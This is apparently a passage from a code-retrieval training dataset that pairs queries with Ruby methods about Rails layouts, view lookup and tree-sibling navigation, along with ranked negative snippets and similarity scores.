'new', 'create','zones' ].include? action_name\n 'application'\n else\n 'application'\n end\n end", "def layout_for(klass)\n memoized_klass = memoize(klass)\n memoized_klass && memoized_klass.new\n end", "def site_layout\n File.join PATHS[:layouts], \"site_layout.html.erb\"\n end", "def layout_by_resource\n if user_signed_in?\n # \"admin\"\n #else\n \"application\"\n end\n end", "def get_layout(tpl)\n layout = \"#{tpl}_layout\"\n return layout if File.exists?(self.get_tpl_file(layout))\n\n items = tpl.split(/\\//)\n items.pop\n items << 'layout'\n layout = File.join(*items)\n return layout if File.exists?(self.get_tpl_file(layout))\n\n return \"layout\" if File.exists?(self.get_tpl_file(\"layout\"))\n\n return nil\n end", "def default_layout\n @default_layout ||= (\n IO.read(LIBDIR + \"/templates/layouts/page.mustache\")\n )\n end", "def select_layout\n user_signed_in? ? 'application' : 'external'\n end", "def set_layout\n if 1==1\n 'application'\n else\n 'dean'\n end\n end", "def _implied_layout_name; end", "def layout\n case @mode\n when :injector\n \"injector\"\n when :page\n \"application\"\n else\n false\n end\n end", "def set_layout\n @layout = Layout.find(params[:id])\n end", "def layout_by_resource\n \"admin_layout\"\n end", "def find_layout(layout, keys, formats)\n resolve_layout(layout, keys, formats)\n end", "def all_widgets\n if self.current_layout\n return self.widgets + self.current_layout.widgets\n else \n return self.widgets\n end\n end", "def get_page_layout\n if params[:layout] == 'comatose_content'\n File.join(plugin_layout_path, params[:layout])\n else\n params[:layout]\n end\n end" ]
[ "0.77328396", "0.7538165", "0.7432526", "0.7230115", "0.71913254", "0.7187486", "0.700015", "0.6833812", "0.6609608", "0.66010004", "0.65887403", "0.65697545", "0.65234977", "0.6497617", "0.64930487", "0.6445923", "0.63752496", "0.635355", "0.63353413", "0.6328743", "0.62979126", "0.6269099", "0.6247429", "0.6218225", "0.61878926", "0.6159004", "0.6152795", "0.6139092", "0.6106792", "0.60874265", "0.6078157", "0.6055921", "0.6038426", "0.603776", "0.6030865", "0.60231274", "0.59718347", "0.59682816", "0.592541", "0.59228796", "0.5917568", "0.5898186", "0.58866185", "0.58849496", "0.58848166", "0.58828884", "0.58828443", "0.5877621", "0.58755034", "0.5831193", "0.5827542", "0.5824834", "0.5824459", "0.5818234", "0.57924044", "0.5788533", "0.5787336", "0.57784265", "0.57717544", "0.5764719", "0.57513297", "0.57513297", "0.5744674", "0.57404965", "0.57384187", "0.57274103", "0.57155764", "0.5708204", "0.5702375", "0.5700751", "0.56968874", "0.56851465", "0.56842965", "0.56741905", "0.5669583", "0.56640697", "0.56570464", "0.5646174", "0.56281084", "0.56132257", "0.55884194", "0.5587406", "0.5587119", "0.5586538", "0.55841374", "0.55767274", "0.5565269", "0.55575746", "0.5551424", "0.5550536", "0.5547001", "0.5533177", "0.5527335", "0.5523303", "0.5513746", "0.55108005", "0.5493203", "0.5485672", "0.54843223", "0.5480193" ]
0.6456692
15
Just like `nth`, but if `nth` returns a Layout, this method returns the layout's view.
def nth_view(element_id, index) element = nth(element_id) if element.is_a?(Layout) element = element.view end element end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find\n self.class.find(@view.layout)\n end", "def view\n unless is_parent_layout?\n return parent_layout.view\n end\n @view ||= build_view\n end", "def get_view(element_id)\n element = get(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def layout\n lookup_layout\n end", "def last_view(element_id)\n element = last(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def current_layout\n config = PSDK_CONFIG.layout.choices\n return config[$scene.class.to_s] || config[:any]\n end", "def layout \n return @layout\n end", "def find_layout\n return nil if @model.nil?\n layout_name = @special_layout[@model] || @model.to_s.tableize + ' (table)'\n if (layout = layout_or_nil(layout_name))\n LOG.info(\"\\n==== Model: #{@model.to_s} <- Layout: #{layout.name} ====\")\n return layout\n else \n LOG.warn \"WARNING: Layout \\\"#{layout_name}\\\" does not exist.\"\n return nil\n end\n end", "def layout\n self.class.layout || @app.layout\n end", "def _layout_for(name = nil)\n name ||= :layout\n view_flow.get(name).html_safe\n end", "def _\n\t\tviewStack = self.instance_variable_get(\"@hooViews\");\n\t\treturn viewStack.last;\n\tend", "def layout_name\n controller = @tracker.controllers[@current_class]\n\n return controller[:layout] if controller[:layout]\n return false if controller[:layout] == false\n\n app_controller = @tracker.controllers[:ApplicationController]\n\n return app_controller[:layout] if app_controller and app_controller[:layout]\n\n nil\n end", "def layout\n @layout\n end", "def current_layout\n controller.send :_layout # private method\n end", "def current_layout\n config = PSDK_CONFIG.layout.messages\n return config[$scene.class.to_s] || config[:any]\n end", "def get_layout(layout)\n logger.debug( [ 'layout', \"#{$pjpp_locale}/#{$pjpp_template_set}/layouts/#{$pjpp_layout_set}/#{layout}\" ] )\n \"#{$pjpp_locale}/#{$pjpp_template_set}/layouts/#{$pjpp_layout_set}/#{layout}\"\n end", "def [](layout_name)\n layouts[layout_name]\n end", "def current_layout\n @site_layout ||= SiteLayout.first\n end", "def get_search_layout(layout)\n get_user_search_layout(layout) ||\n get_system_search_layout(layout) ||\n nil\n end", "def selected_view\n return @data[self.index].view\n end", "def selected_view\n return @data[self.index].view\n end", "def get_layout\n layout ||= Spree::Config[:layout]\n end", "def layout\n @layout ||= layout_class.new(@rack_context)\n end", "def layout(new_layout = nil)\n @layout = new_layout if new_layout\n @layout\n end", "def pos\n @layout[@pos - 1]\n end", "def layout\n properties[:layout]\n end", "def layout_name\n Conf.layouts.each do |k,v|\n if v[\"network_id\"] == id\n return k\n end\n end\n\n return nil\n end", "def get_layout\n layout ||= Spree::Frontend::Config[:layout]\n end", "def layout_or_nil(layout_name)\n begin\n if (layout = Rfm.layout(layout_name)).table then layout; end\n rescue nil\n end\n end", "def get(element_id)\n unless is_parent_layout?\n return parent_layout.get(element_id)\n end\n @elements[element_id] && @elements[element_id].first\n end", "def layout\n nil\n end", "def window_layout(window)\n window =~ /\\[layout (\\S+)\\]/\n $1\nend", "def layout\n @current_layout ||= :default_layout\n send(\"#{@current_layout}\"){ yield }\n end", "def find_layout(name, wish)\n return unless layout = ancestral_trait[:layout]\n return unless layout = layout.call(name, wish) if layout.respond_to?(:call)\n\n if found = to_layout(layout, wish)\n [:layout, found]\n elsif found = find_view(layout, wish)\n [:view, found]\n elsif found = find_method(layout, [])\n [:method, found]\n end\n end", "def layout\n nil\n end", "def layout\n yield(layout_for) if block_given?\n layout_for\n end", "def controller_layout\n layout = self.send(:_layout)\n if layout.instance_of? String\n layout\n else\n File.basename(layout.identifier).split('.').first\n end\n end", "def layout_for(klass)\n memoized_klass = memoize(klass)\n memoized_klass && memoized_klass.new\n end", "def default_layout\n nil\n end", "def layout(value = nil)\n if value.nil?\n @layout ||= nil\n @_layout ||= Rendering::LayoutFinder.find(@layout || configuration.layout, configuration.namespace)\n elsif !value\n @layout = Hanami::View::Rendering::NullLayout\n else\n @layout = value\n end\n end", "def _implied_layout_name; end", "def determine_layout\n 'akinu'\n end", "def layout\n return @layout if @layout\n return if no_layout?\n\n @layout = site.layouts[data.layout].tap do |layout|\n unless layout\n Bridgetown.logger.warn \"Generated Page:\", \"Layout '#{data.layout}' \" \\\n \"requested via #{relative_path} does not exist.\"\n end\n end\n end", "def layout(value = nil)\n if value\n @layout = value\n else\n @layout\n end\n end", "def [](field_name)\n @layout.__get(field_name, self)\n end", "def top()\n @view__.top\n end", "def nth\n num = self.class.all_in_current_meeting.index(self)\n num ? num.ordinalize : nil\n end", "def all_views(element_id)\n element = all(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def get_view_definition(design, view)\n design_documents = read_inheritable_attribute(:design_documents) || {}\n design_doc = design_documents[design.to_s]\n return nil unless design_doc\n return design_doc[:views][view]\n end", "def lookup_layout\n return \"{{{content}}}\" if metadata.key?('layout') && !metadata['layout']\n\n name = metadata['layout'] || 'page'\n name = name + '.mustache' unless name.end_with?('.mustache')\n\n path = ::File.join('_layouts', name)\n dir = ::File.join(wiki.path, ::File.dirname(file.path))\n\n layout_file = lookup_path(path, dir)\n\n if layout_file\n IO.read(layout_file)\n else\n default_layout\n end\n end", "def get_layout(tpl)\n layout = \"#{tpl}_layout\"\n return layout if File.exists?(self.get_tpl_file(layout))\n\n items = tpl.split(/\\//)\n items.pop\n items << 'layout'\n layout = File.join(*items)\n return layout if File.exists?(self.get_tpl_file(layout))\n\n return \"layout\" if File.exists?(self.get_tpl_file(\"layout\"))\n\n return nil\n end", "def view_class_name\n view_class_components.join('_').camelize.sub(/^Layouts/, '')\n end", "def child_selector\n \"c_#{page_layout.id}\"\n end", "def layout(&block)\n layout = Layout.new\n layout.instance_eval(&block)\n # return the layout descriptor\n layout\n end", "def choose_layout\n Rails.configuration.blog.layout\n end", "def get_layout_from_params\n params[:layout] ? params[:layout] : 'application' \n end", "def layout_class val = nil\n @layout_class = val if val\n @layout_class\n end", "def layout_children\n \n end", "def get_layout\n ActiveSupport::Deprecation.warn(<<-DEPRECATION, caller)\n ControllerHelpers::Common is deprecated and will be removed in Spree 5.0.\n DEPRECATION\n return unless defined?(Spree::Frontend)\n\n layout ||= Spree::Frontend::Config[:layout]\n end", "def get_layout\n\tlogged_in? and :page_user or :page_visitor\nend", "def get_content_for_layout()\n get_partial(@type)\n # if @type == \"home\"\n # get_partial('home')\n # elsif @type == \"page\"\n # get_partial('page')\n # elsif @type == \"article\"\n # get_partial('article')\n # elsif @type == \"category\"\n # get_partial('category')\n # end\n end", "def layout_for_page(page_number)\n page_key = layout_key_for_page(page_number)\n @layout_for[page_key]\n end", "def find_layout(layout, keys, formats); end", "def find_layout\n raise 'This is a generic store. Please use a subclass.'\n end", "def layouts=(_arg0); end", "def layouts=(_arg0); end", "def layout_for(area = :reader)\n default = Radiant::Config[\"#{area}.layout\"]\n name = if self.respond_to?(\"#{area}_layout\") && layout = self.send(\"#{area}_layout\".intern)\n layout.name\n elsif layout = Layout.find_by_name(default)\n layout.name\n elsif layout = self.reader_layout\n layout.name\n end\n name\n end", "def select_layout_template(program:)\n file = layout_template_file(program: program)\n \"Choose the layout template <b>#{file}</b>\"\n end", "def select_layout_template(program:)\n file = layout_template_file(program: program)\n \"Choose the layout template <b>#{file}</b>\"\n end", "def path_to_view view\n paths_to_view(view).first\n end", "def layout()\n layout_children()\n end", "def get_layout(property, prptfile)\n meta_doc = get_file_doc(prptfile, \"layout.xml\")\n property_val = meta_doc.elements[\"layout\"].attributes[property]\n\n if not property_val.nil?\n return property_val\n else\n return \"\"\n end\nend", "def determine_layout\n ['show'].include?(action_name) ? 'application' : nil \n end", "def determine_layout\r\n #\"earthlingtwo/earthlingtwo\"\r\n \"#{template_name}/#{template_name}\"\r\n end", "def view\n return @view unless @view.nil?\n file = File.join VIEWS, self.template\n @view = Haml::Engine.new File.read(file), HAML_CONFIG\n end", "def topcell \n return @layout.cell( @topcell )\n end", "def get_layout\n layout ||= Amz::Config[:layout] \n layout = Amz::Config[:amp_layout] \n # layout = Amz::Config[:mobile_layout] if browser.mobile?\n # layout = Amz::Config[:tablet_layout] if browser.tablet?\n layout\n end", "def determine_layout\n case action_name\n when \"new\"\n \"hero\"\n when \"create\"\n \"hero\"\n when \"edit\"\n \"dashboard\"\n when \"update\"\n \"dashboard\"\n end\n end", "def find_layout(layout, keys, formats)\n resolve_layout(layout, keys, formats)\n end", "def resolve_layout\n\t case action_name\n\t when 'index'\n\t \t'blank'\n\t else\n\t 'application'\n\t end\n\t end", "def layout(name=:layout, &b)\n template(name, &b)\n end", "def layout=(_arg0); end", "def view_first\n return @vassals[0].view_first\n end", "def page_layout\n @user = User.current\n @blocks = @user.pref.my_page_layout\n end", "def determine_layout\n return @__layout if @__layout\n return false if params[:_no_layout] || request.xhr?\n\n @__layout ||= current_page.layout.try(:template) if current_page.present? \n @__layout ||= 'application/default'\n @__layout\n end", "def choose_layout\r\n return nil if action_name=='show'\r\n return 'usercenter' if action_name=='index' || action_name=='new'\r\n return 'public'\r\n end", "def get_page_layout(params)\n if params[:layout] == 'comatose_content'\n File.join(plugin_layout_path, params[:layout])\n else\n params[:layout]\n end\n end", "def get_view(view_name)\r\n\t\t\tself.get_design_note(view_name, API::DFLAGPAT_VIEWS_AND_FOLDERS, View)\r\n\t\tend", "def closest_parent(type, this_view = nil)\n this_view ||= view_or_self.superview\n while this_view != nil do\n return this_view if this_view.is_a? type\n this_view = this_view.superview\n end\n nil\n end", "def view(type)\n views.each { |v| return v if v.type.id =~ /^#{Regexp.escape(type)}$/}\n nil\n end", "def resolve_layout\n case action_name\n when 'index'\n 'dashboard'\n else\n 'application'\n end\n end", "def render_layout(output, layout, info); end", "def layout\n yield(monitoring_layout)\n monitoring_layout\n end", "def _layout(*_arg0); end", "def static_layout\n nil\n end", "def layout\n\n raise \"Missing bulletin for layout object!\" if (! self.bulletin)\n \n raise \"Missing layout style/name for layout object!\" if (! self.name)\n\n # assume everything prepared if this is already set (caching!)\n return @layout if (@layout)\n\n # Load layout from the database\n while (! @layout)\n @layout = TempletLayout.find(:first, \n :conditions => ['templet_id = ? AND name = ?', self.bulletin.templet_id, self.name ])\n if !@layout and self.name == 'print'\n # set to main, if print layout not found\n self.name = 'main'\n elsif not @layout\n raise \"Invalid layout selected!\" if (! @layout) \n end\n end\n \n \n # copy the details accross for the layout\n self.filetype = @layout.filetype\n self.charset = @layout.charset\n \n return @layout\n end", "def get_page_layout\n if params[:layout] == 'comatose_content'\n File.join(plugin_layout_path, params[:layout])\n else\n params[:layout]\n end\n end", "def layout; end", "def view_context\n super.tap do |view|\n (@_content_for_layout || {}).each do |name, content|\n view.content_for name, content\n end\n end\n end", "def admin_layout \n @admin_layout\n end" ]
[ "0.6847427", "0.6807654", "0.63781375", "0.6239731", "0.6131137", "0.59874547", "0.58707976", "0.5802285", "0.56963944", "0.56713474", "0.5628221", "0.56259525", "0.55989623", "0.55948174", "0.5575403", "0.5530654", "0.54947513", "0.5482559", "0.54551005", "0.5448186", "0.5448186", "0.54460585", "0.54415286", "0.54211825", "0.5421043", "0.54140854", "0.530869", "0.5289027", "0.5280244", "0.5251322", "0.52334195", "0.52213824", "0.5218658", "0.52141607", "0.5186081", "0.5184979", "0.517965", "0.5160569", "0.51556504", "0.51548374", "0.51522565", "0.514464", "0.514416", "0.5134357", "0.5129461", "0.51252925", "0.5123913", "0.51051706", "0.51009786", "0.51008797", "0.50864154", "0.5079812", "0.5077329", "0.50537056", "0.5049227", "0.501681", "0.50065446", "0.49841356", "0.49808916", "0.4978111", "0.4976669", "0.49698994", "0.49626002", "0.49598512", "0.49477604", "0.49477604", "0.49191335", "0.49084276", "0.49084276", "0.4900897", "0.4895365", "0.48918873", "0.48855358", "0.4880128", "0.48789477", "0.48782408", "0.4867281", "0.48601806", "0.48582694", "0.48337427", "0.48281333", "0.4823401", "0.4820768", "0.4817416", "0.47955984", "0.4790029", "0.47771403", "0.47638616", "0.4762221", "0.47612387", "0.47584933", "0.47567037", "0.47526756", "0.4737966", "0.47338846", "0.47143683", "0.47143376", "0.4712235", "0.47067195", "0.46993542" ]
0.7683796
0
Search for a sibling: the next sibling that has the given id
def next(element_id) self.next(element_id, from: target) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def assert_next_sibling(id, expected_sibling_id)\n wait_for(:message => \"id '#{id}' should be next to '#{expected_sibling_id}'\") do\n actual_sibling_id = get_eval(\"this.page().findElement('#{id}').nextSibling.id\")\n expected_sibling_id == actual_sibling_id\n end\n end", "def next_sibling\n if siblings.where(project_id: project_id).any?\n sibs = self_and_siblings.order(:cached).pluck(:id)\n s = sibs.index(id)\n TaxonName.find(sibs[ s + 1] ) if s < sibs.length - 1\n else\n nil\n end\n end", "def sibling(node_id)\n node_id ^ 1\n end", "def sibling(name)\n parent && parent.find(name)\n end", "def find_predecessor(id)\n if self == successor\n self\n else\n pred = self\n while !between_left_inclusive(id, pred.nodeid, pred.successor.nodeid) # RPC\n pred = pred.closest_preceding_node(id) # RPC\n end\n pred\n end\n end", "def next_sibling\n return @links[:next_sibling]\n end", "def find_with_id(id)\n @top_node.search(\"//*[@id='#{id}']\")\n end", "def known_sibling_on(local_object, peer_id)\n if local_object.respond_to?(:droby_id)\n if siblings = siblings_by_local_object_id.fetch(local_object.droby_id, nil)\n siblings[peer_id]\n elsif peer_id == local_id\n local_object.droby_id\n end\n end\n end", "def find_with_id(id)\n @top_node.search(\"//*[@id='#{id}']\")\n end", "def find_with_id(id)\n @top_node.search(\"//*[@id='#{id}']\")\n end", "def next_sibling\n\t\treturn next_sibling_of @current_node\n\tend", "def previous_sibling\n if siblings.where(project_id: project_id).any?\n sibs = self_and_siblings.order(:cached).pluck(:id)\n\n s = sibs.index(id)\n TaxonName.find(sibs[s - 1]) if s != 0\n else\n nil\n end\n end", "def next_siblings(scope = {})\n self.class.find_in_nested_set(:all, \n { :conditions => [\"#{scope_condition} AND #{sibling_condition} AND #{self.class.table_name}.id != ? AND #{prefixed_left_col_name} > ?\", self.id, self[right_col_name]], :order => \"#{prefixed_left_col_name} ASC\"}, scope)\n end", "def siblings\n self_and_siblings.where(arel[:id].not_eq(id))\n end", "def registered_sibling_on(local_object, peer_id)\n return unless local_object.respond_to?(:droby_id)\n\n siblings =\n siblings_by_local_object_id.fetch(local_object.droby_id, nil)\n siblings[peer_id] if siblings\n end", "def next_sibling_by_date\n siblings_by_date.where(\"starts_at >= ?\", starts_at)&.first\n end", "def next\n\t\tself.class.where(\"id > ?\", id).first\n\tend", "def sibling_on(peer)\n\t\tif peer.remote_id == self.peer.peer_id then id\n\t\telse raise RemotePeerMismatch, \"no known sibling for #{self} on #{peer}\"\n\t\tend\n\t end", "def next\n \tself.class.where(\"id > ?\", id).first\n \tend", "def find(id)\n each_descendant(false).detect {|op| op.id == id}\n end", "def next_sibling\n # Raise error in case we are root\n raise RationalNumberIsRootNoSiblingsError if root?\n\n _parent = self.parent # Get parent already to avoid duplicate calculations\n _position = ((@nv - _parent.nv) / _parent.snv) + 1\n value_from_parent_and_position(_parent, _position)\n end", "def siblings\n self_and_siblings.where( table[tree.columns.id].not_eq(id) )\n end", "def next\n self.class.where('id > ?', id).first\n end", "def next(name = nil)\n elements = self.class.all_siblings(self)\n elements = elements.where(:name => name) if name\n elements.where(\"position > ?\", self.position).order(\"position ASC\").limit(1)\n end", "def next_sibling_of(node)\n\t\treturn valid(node) ? node.next_sibling : nil\n\tend", "def first_sibling_in_list\n self.class.asc(:position).first\n end", "def peek_next_item(id, stack)\n raise if stack.empty?\n raise unless stack.last.first.leaf?\n stack.pop\n\n until stack.empty?\n node, node_id = *stack.last\n raise if node.leaf?\n\n # Select next higher tree branch\n inner = node\n (node_id.select_branch(id) + 1).upto(15) { |b|\n next if inner.empty_branch?(b)\n node = descend_throw(inner, b)\n leaf, stack = *first_below(node, stack, b)\n raise unless leaf && leaf.leaf?\n return leaf, stack\n }\n\n stack.pop\n end\n\n return nil\n end", "def sibling_accounts\n Sfaccount.find(:all, :conditions => [\"parent_id = ?\",id])\n end", "def left_sibling_id=(id)\n assign_sibling_by_id(id, :left)\n end", "def find(id)\n sort() unless @sorted\n @tree.bsearch { |x| x.id == id }\n end", "def siblings?(node_id, other_node_id)\n node_id ^ other_node_id == 1\n end", "def node_by_id(id)\r\n @nodes.each do |n|\r\n return n if n.attributes['id'] == id \r\n end\r\n end", "def right_sibling_id=(id)\n assign_sibling_by_id(id, :right)\n end", "def next_segment\n return nil if sibling_segments.empty?\n sibling_segments[sibling_segments.sort_by(&:index).index(self) + 1]\n end", "def next\n self.class.where(\"id > ?\", id).where(:punto_venta_id => self.punto_venta_id).first\n end", "def sibling; end", "def remove_sibling_for(peer, id = nil)\n\t if id && remote_siblings[peer] != id\n\t\treturn\n\t end\n\n\t if remote_object = remote_siblings.delete(peer)\n peer.removed_sibling(remote_object)\n\t\tRoby::Distributed.debug { \"removed sibling #{remote_object} for #{self} on #{peer}\" }\n\t\tremote_object\n\t end\n\tend", "def gatherNode(id)\n @nodes.bsearch { |n| n.data == data}\n end", "def next\n if next_listing = self.class.where(\"id > ?\", id).first\n next_listing\n else\n Listing.first\n end\n end", "def sibling_on(peer)\n\t remote_siblings.each do |m_peer, remote_id|\n\t\tif m_peer.peer_id == peer.remote_id\n\t\t return remote_id\n\t\tend\n\t end\n\t raise RemotePeerMismatch, \"#{self} has no known sibling on #{peer}\"\n\tend", "def find_by_id(id)\n children.find { |child| child[:tab_id] == id }\n end", "def next_screen\n # print \"nxt: \" + id.to_s + \" - \" + title + \"\\n\"\n return children.all(:order => :position).first.first_screen if has_children?\n sibling_screen\n end", "def next_sibling(num = 1, scope = {})\n scope[:limit] = num\n siblings = next_siblings(scope)\n num == 1 ? siblings.first : siblings\n end", "def sibling_ids(*args)\n return call_ancestry_method(:sibling_ids) if use_ancestry?\n\n Relationship.resource_pairs(sibling_rels(*args))\n end", "def find_next(*args)\n find(:next, *args)\n end", "def find_next(*args)\n find(:next, *args)\n end", "def nearest(element_id)\n nearest(element_id, from: target)\n end", "def next_sibling=(other); end", "def next\n self.class.first(\n :conditions => {\n :user_id => self.user_id,\n :id_gt => self.id})\n end", "def right_sibling\n siblings.where(arel_table[numv_column_name].eq(snumv)).\n where(arel_table[denv_column_name].eq(sdenv)).first\n end", "def find(identifier)\n # start at the begining of the list\n current = @first_node\n previous = @first_node\n \n if not list_empty?\n while current.identifier != identifier \n # advance the node one along\n previous = current\n current = current.next \n\n # we need to exit the while loop if the next node is nil\n # as the list has reached the end of the line\n return nil if (current == nil) \n end\n\n # we want to yield the previous and current pointer if a block is\n # given so that we cna toy around with indexing and identifiers\n yield(previous, current) if block_given?\n \n # return the current node as we have a hit\n return current\n end\n end", "def next\n lesson.steps.where(\"id > ?\", id).first\n end", "def next\n @next ||= Changeset.where([\"id > ? AND repository_id = ?\", id, repository_id]).order('id ASC').first\n end", "def find_node(value)\n current = @anchor.next_node\n while current != @anchor\n return current if current.value == value\n current = current.next_node\n end\n end", "def next\n \t\tNote.where([\"id > ?\", self.id]).first\n\tend", "def left_sibling\n siblings.where(arel_table[snumv_column_name].eq(numv)).\n where(arel_table[sdenv_column_name].eq(denv)).first\n end", "def next\n room.players.where(\"id > ?\", id).first || room.players.first\n end", "def right_sibling\n siblings.\n where( arel[position_column].gt(self[position_column]) ).\n reorder( arel[position_column].asc ).\n first\n end", "def next_id\n self.class.where(\"id > ? and quiz_id = ?\", self.id, self.quiz_id).pluck(:id).first\n end", "def player_search_id(player_id)\n temp_id = self.last_registered_player_id\n while temp_id != player_id && temp_id != -1 && temp_id != nil\n temp_id = Player.find(temp_id).prev_player_id\n end\n if temp_id == player_id\n return Player.find(temp_id)\n end\n return nil\n end", "def get_sibling(vector)\n conditions = get_siblings_conditions(vector)\n\n self.class.position_scope(scope_value)\n .where(conditions.first)\n .order(conditions.last)\n .limit(1).first\n end", "def test_next_sibling\n setup_test_tree\n\n assert_nil(@root.next_sibling, \"Root does not have any next sibling\")\n assert_equal(@child2, @child1.next_sibling, \"Child1's next sibling is Child2\")\n assert_equal(@child3, @child2.next_sibling, \"Child2's next sibling is Child3\")\n assert_nil(@child3.next_sibling, \"Child3 does not have a next sibling\")\n assert_nil(@child4.next_sibling, \"Child4 does not have a next sibling\")\n end", "def getnext(oid)\n roid=[]\n roid=self.oid2roid(oid) if (oid<=>self.oid) >= 0\n roid_first = roid.first\n return nil if roid_first and roid_first > @nodes.size-1\n @nodes.each_index do\n |index|\n next if roid_first and roid_first > index\n node = @nodes[index]\n node = node.getnext(oid) if node\n # I have some nil elements, but not the last\n next if not node\n return node\n end\n # It is not expected to get here\n return nil\n end", "def find_subsequent()\n curr = self\n while !curr.next.nil?\n curr = curr.next \n return curr if yield curr\n end\n\n return nil\n end", "def next_element_sibling\n n = self.next_sibling\n while n do\n if n.node_type == ELEMENT_NODE then\n break\n end\n n = n.next_sibling\n end\n return n\n end", "def get_section(id)\n @doc.at_css(\"##{id}\").parent.next_element\n end", "def adjacent(id)\n\t\tids = []\n\n\t\t@edges.each do |e|\n\t\t\tif e.id1 == id\n\t\t\t\tids.push e.id2\n\t\t\telsif e.id2 == id\n\t\t\t\tids.push e.id1\n\t\t\tend\n\t\tend\n\n\t\treturn ids\n\tend", "def add_next_sibling(node_or_tags); end", "def TreeView_GetNextSibling(hwnd, hitem) TreeView_GetNextItem(hwnd, hitem, TreeViewGetNextItem[:NEXT]) end", "def have_sibling(...)\n Matchers::HaveSibling.new(...)\n end", "def find_node(target)\n if @num_nodes == 0\n return nil\n else\n current = 0\n current_node = @head\n while current < @num_nodes\n if current_node.get_Data() == target\n return current, current_node\n end\n \n current_node = current_node.get_Next()\n current += 1\n end\n return nil\n end\n end", "def right_sibling\n list.first(:position.gt => position)\n end", "def left_sibling\n list.reverse.first(:position.lt => position)\n end", "def is_sibling_of?(other)\n (other != self) and (other[tree_parent_id_field] == self[tree_parent_id_field])\n end", "def left_sibling\n siblings.\n where( arel[position_column].lt(self[position_column]) ).\n reorder( arel[position_column].desc ).\n first\n end", "def find_element_by_id(id)\n (e = @doc.at_css(\"##{id}\")) && NodeProxy.new(e)\n end", "def parse_sibling(scanner)\n parse(scanner)\n end", "def delete_node(list, id)\n ## Iterative with a runner that goes one step forward ###\n\n current = list.head\n runner = current.next\n\n while runner != nil\n if runner.id == id\n current.next = runner.next\n break\n end\n\n current = current.next\n runner = runner.next\n end\n\n list\n\n ### Is there a recursive solution? ###\nend", "def sibling_id=(id)\n self.requirements_list = Requirement.find(id).requirements_list\n end", "def find(needle)\n #return the Node object whose value == needle\n node = @head\n while node\n return node if node.value == needle\n node = node.next\n end\n #Return nil if cannot find it\n nil\n end", "def idIndex(a, id, offset = 0)\n p \"--------- idIndex called ------------\"\n a.each_with_index do |node, index|\n if node.id == id\n p \"------- index ---------\"\n p index\n return index + offset\n end\n end\n nil\nend", "def right_sibling\n right_siblings.first\n end", "def next\n Section.where(\"id > ?\", id).order(id: :asc).limit(1).first\n end", "def first_sibling\n node = self\n while node.previous_sibling\n node = node.previous_sibling\n end\n return node\n end", "def nextSibling\n native_node.next_sibling && Browser.wrap_node(native_node.next_sibling)\n end", "def find(id)\n node = @nodes[id]\n return node if node\n\n addr = Directory[id]\n return unless addr\n\n if id == DCell.id\n node = DCell.me\n else\n node = Node.new(id, addr)\n end\n\n @nodes[id] ||= node\n @nodes[id]\n end", "def siblings\n if not @sibs\n raise \"Prev not set for %s\" % self.line unless self.prev\n @sibs = StorylineLinks.where('from_id = ?', self.prev).select { |n| n.to_id != self.id }\n @sibs_num = @sibs.size\n end\n @sibs\n end", "def find_object_from_link(parent_object, id)\n find_object(parent_object, id)\n end", "def search_key key\n node = self.head\n while node\n return node if node.key == key\n nc = node.child \n while nc\n return nc if nc.key == key\n ncs = nc.sibling\n while ncs \n return ncs if ncs.key == key\n ncs = ncs.sibling\n end\n nc = nc.child\n end\n node = node.sibling\n end\n end", "def find_next_and_prev(*args)\n return find(:next, *args), find(:prev, *args)\n end", "def find_by_id(id)\n iterations.find { |iteration| iteration.id == id } || false\n end", "def find (data)\n current_node = @head\n\n while current_node\n return current_node if current_node.data == data\n current_node = current_node.next\n end\n\n return nil\n end", "def next(node)\n @path[@path.index(node) + 1]\n end", "def last_sibling_in_list\n self.class.asc(:position).last\n end", "def previous_sibling\n return @links[:previous_sibling]\n end", "def find_next\n PcpItem.where( pcp_subject_id: pcp_subject_id ).where( 'id > ?', id ).first\n end", "def next_node\n children.first || successor\n end", "def siblings\n tree_search_class.where({\n :_id => { \"$ne\" => self._id },\n tree_parent_id_field => self[tree_parent_id_field]\n }).sort(self.class.tree_sort_order()).all\n end", "def sibling_on(peer)\n\t if sibling = remote_siblings[peer] then sibling\n\t elsif Roby::Distributed == peer then self\n\t else \n\t\traise RemotePeerMismatch, \"#{self} has no known sibling on #{peer}\"\n\t end\n\tend", "def find_path(target)\n queue = [root_node]\n until queue.empty?\n p current_node = queue.shift\n p queue\n return current_node if current_node.value == target\n current_node.children.each do |child|\n queue << child\n end\n end\n nil\nend" ]
[ "0.7491546", "0.7345928", "0.7177878", "0.68406296", "0.6749778", "0.6365642", "0.6277817", "0.6254287", "0.62472796", "0.62472796", "0.6234277", "0.62078166", "0.62020326", "0.61923254", "0.61802274", "0.61371565", "0.6121825", "0.61027145", "0.6087696", "0.60655963", "0.6045984", "0.6041086", "0.6034808", "0.59159255", "0.5909919", "0.58707994", "0.58703196", "0.5865093", "0.5854514", "0.5833595", "0.58087766", "0.58048916", "0.57998043", "0.5794756", "0.57946247", "0.5755881", "0.5732288", "0.57250595", "0.5711377", "0.5700914", "0.569008", "0.56739426", "0.5659378", "0.5646261", "0.56388414", "0.56388414", "0.5635084", "0.5632165", "0.56230146", "0.5615958", "0.5573818", "0.55537724", "0.5551665", "0.5551384", "0.55467844", "0.5529293", "0.549623", "0.54894733", "0.54825056", "0.5479521", "0.54786277", "0.5461218", "0.5450701", "0.5449556", "0.54462326", "0.5441053", "0.54406554", "0.54279697", "0.54224575", "0.5406262", "0.53914297", "0.5390292", "0.5387252", "0.5372377", "0.5352205", "0.53459716", "0.5334606", "0.5325497", "0.5325097", "0.5319884", "0.53099895", "0.5309812", "0.5308325", "0.5303005", "0.5300272", "0.52786076", "0.5273863", "0.5271455", "0.52669233", "0.5261223", "0.5258791", "0.5253944", "0.5252072", "0.52363455", "0.5230828", "0.5229296", "0.5227421", "0.52163684", "0.52158475", "0.5213924" ]
0.6109107
17
Search for a sibling: the previous sibling that has the given id
def prev(element_id) prev(element_id, from: target) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
